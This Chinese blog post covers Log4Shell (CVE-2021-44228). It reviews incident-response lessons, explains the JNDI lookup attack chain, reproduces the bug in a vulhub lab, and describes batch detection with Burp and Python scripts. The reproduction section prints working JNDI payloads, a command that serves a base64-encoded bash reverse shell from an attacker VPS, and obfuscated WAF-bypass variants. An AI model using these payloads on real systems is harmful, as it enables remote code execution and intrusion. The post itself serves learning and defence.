log4j漏洞原理分析&复现&检测&复盘

  凡事要自发,自然而为,即要顺从一切处于自然状态的事物,允许它们自发地转变。这样,道即达到了一种“无为而无不为”的状态。在日常生活中,道表现为“不自傲”或“不自恃”。

  要想全新全意地过好生活的每一天,秘诀就是,生活就是生活本身。

                                                             —— 李小龙

log4j漏洞原理分析&复现&检测&复盘

写在前面

CVE-2021-44228 毋庸置疑2021年最硬的漏洞,令无数安全从业人员彻夜难免,爆炸的告警,被提爆的SRC,也是每个互联网公司安全运营能力的一次重大考验。

关于SRC之前在面试的时候被某中厂的安全运营总监问到过:
他:SRC在你心中是怎样的角色?

我:算是情报的一个来源,通过外界白帽子对企业资产的测试,我们能够发现自身还没发现的漏洞,或是发现后还没及时修补的漏洞和修复不彻底的漏洞,总的来说SRC对于安全建设来说是一个兜底的补充。

他:对于log4j漏洞,你说SRC是情报的一个来源,那为什么不放开收取?

我:公司也要考虑成本,log4j属于严重型漏洞,每个漏洞价值不菲,如果每个漏洞都按照严重收取的话,公司的预算可能扛不住。再者SRC只是我们安全运营能力的一个补充,在得知log4j漏洞细节后,我们应该做的是自查自修,自己修复的差不多时再来开放收取,起到查漏补缺的效果。

感觉我的回答好像跟没说一样,他就一直揪着问你不是说是情报的来源么为什么不开放收取呢?我满脸大写的问号,核弹级别的漏洞,你总不能鼓励别人把你的资产打成筛子吧?

一、应急复盘

1.1 应急响应学习

我也或多或少的参与了本次的应急,我且借用君哥的书中(《金融行业安全架构与技术实践》)提到的应急PDCERF模型来感悟和学习一下。

PDCERF ==> 准备->检测->抵制->根除->恢复->跟踪

准备阶段包括应急响应的规范制度、具体技术工具和平台的搭建运营等;检测阶段就是给事件定性定级;抵制阶段就是止损;根除阶段还原事件触发的路径,彻底解决问题;恢复即把业务恢复至正常水平;跟踪即安全运营中的持续改进,落实整改措施并监控是否有异常。

1.2 log4j应急中存在的问题

1、应急预案的规范和演练。公司内制定的应急预案已经是几年之前了,没人去维护更新,公司内部没有定期举行大型的应急演练,从而使得log4j漏洞来临时显得有些忙乱,并没有按照之前制定的应急预案来行动。

2、缺乏对资产大盘的整体把握。一些大的互联网厂商没有自己的资产大盘,导致来漏洞来临时无法直接快速的得出受影响的资产,以及受影响应用的研发信息,通常数据来源于黑白盒扫描的组件库和src提交资产这三个方面的聚合,所以受影响资产的梳理工作,一定程度上延缓了抢修时间。

3、自动化能力缺乏。漏洞的推修依赖于安全人员和研发拉群打电话等点对点沟通,无法做到批量风险的告知和推送,对修复进度的统计也是依赖于人工。

4、应急人才储备不足,没有充分利用好人力。在平常缺乏对应急人才的培训和演练,导致需要大规模推修漏洞时,只有少部分人知道该怎么做,很多人思路和目标并不清晰,就会出现有的人忙的焦头烂额,而有的人很闲且很迷茫这种情况,使得推修的进度达不到预期。培训和演练不充分还带来一个问题,就是跨部门协作,比如物理机和操作系统修复应该找运维团队;jmq、jsf的sdk应该找中间件团队修复等,很多人其实没有这个概念,经常在跨部门协作过程中使安全、业务双方的资源都有极大的消耗,对安全部门的满意度和信誉度也会降低。

二、漏洞复现

2.1 原理分析

在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用

例如当开发者想在日志中打印今天的日期,则只需要输出 d a t a : M M − d d − y y y y ,此时 l o g 4 j 会将 {data:MM-dd-yyyy},此时log4j会将 data:MMddyyyy,此时log4j会将{}中包裹的内容单独处理,将它识别为日期查找,然后将该表达式替换为今天的日期内容输出为“08-22-2022”,这样做就不需要开发者自己去编写查找日期的代码。

表达式除了支持日期,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“图方便”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡。

其实打印日期,打印系统变量这种对系统而言构不成什么威胁,最终要的原因是log4j还支持JNDI协议。

JNDI(java naming and directory interface)java命名和目录接口,它会提供一个目录系统,将服务名称与对象关联起来,类似于name --> 对象,其下次中的子协议如ldap(lightweight directory access protocol)轻量级目录访问协议,类似于字典,即name–>data。

所以JNDI支持命名引用(naming references)的方式,可以远程下载一个class文件,然后加载起来构建对象

整个攻击链条就是:

攻击者在漏洞点注入表达式如${jndi:ldap://xxx.xxx.xxx/exploit} --> log4j2支持lookup --> JNDI --> ldap/rmi 远程加载攻击者服务器上的class文件构建对象 --> 执行恶意代码

2.2 漏洞复现

2.2.1 Dnslog回显🍎
cd /opt/vulhub/log4j/CVE-2021-44228
docker-compose up -d --build

在本地直接访问 http://192.168.100.15:8983/solr/#/

image-20220721170154107

在注入点插入payload${jndi:ldap://${sys:java.version}.7qbi6l.dnslog.cn}并发起请求

http://192.168.100.15:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.7qbi6l.dnslog.cn}

image-20220721162732373

如下图,已收到dnslog请求记录

image-20220721162814699
2.2.2 反弹shell👻

#复现环境

靶机:192.168.100.15

vps:192.168.100.6

1、先在vps上搭建ldap/rmi服务器

利用工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar搭建命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,反弹shell命令的base64编码}|{base64,-d}|{bash,-i}" -A "你的vps-ip"
# 反弹shell命令如下图所示,要转换成base64编码

image-20220820224924589

开启ldap/rmi服务:

image-20220820224850456

2、在vps上开启一个监听

注意端口要与上面“反弹shell命令”的端口一致

image-20220820224956957

3、jndi注入payload

用burp抓包,在注入点的参数位置插入payload

${jndi:rmi://192.168.100.6:1099/Exploit}
# 常见的变形如下(一定情况下可绕waf)
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
${${::-j}ndi:rmi://127.0.0.1:1099/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
${${::::::-j}n${::-d}i:ldap://xx/xx}

image-20220820224517533

发现vps上已经收到靶机的shell

image-20220820223738535

复现成功!

三、自动化&批量检测🤖

3.1 burp+python+rad联动检测

利用BurpSuite的Log4Shell Scanner插件,在Extender --> BApp Store中可以直接install

因为是被动扫描的方式,所以用浏览器访问漏洞点,burp即可自动检测,如下图检测结果:

image-20220820212030685

有时候明明访问了漏洞点,但是在Target --> Site map模块还是看不到扫描结果,这种情况有可能是状态码4xx没有勾选,勾选即可如下图:

image-20220820230929101

但是仅仅这样还是依赖burp代理的流量,自动化的程度不高,我们可以尝试将爬虫与burp联动一下,达到全自动检测的目的

参考文章

实现思路:

1、利用python代码读取事先设置的urls.txt应用资产列表

2、利用rad对每个url的页面进行爬虫

3、将流量转发到burp中

4、利用burp的插件进行扫描

3.2 python脚本url_list批量检查

脚本地址

脚本的主要思路是需要给定url或url列表,根据不同的选项可以对每个url进行不同请求(GET/POST)的检测,同时可以提前设置请求时的header字段,可以在header字段处添加payload测试。

待优化的点:
1、interact.sh测试的时候有点问题,但是dnslog.cn可以正常使用,不过不能保证每次都能获取到域名,需要加一个判断域名是否获取成功,如果未获取成功需要重试,或设置timeout值抛出错误,作者在这块稍显粗暴。

2、对header字段的检测灵活度不够,不能自定义测试字段

把脚本优化一下还是很不错的,下面是检测成功截图:

image-20220822171841286

  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值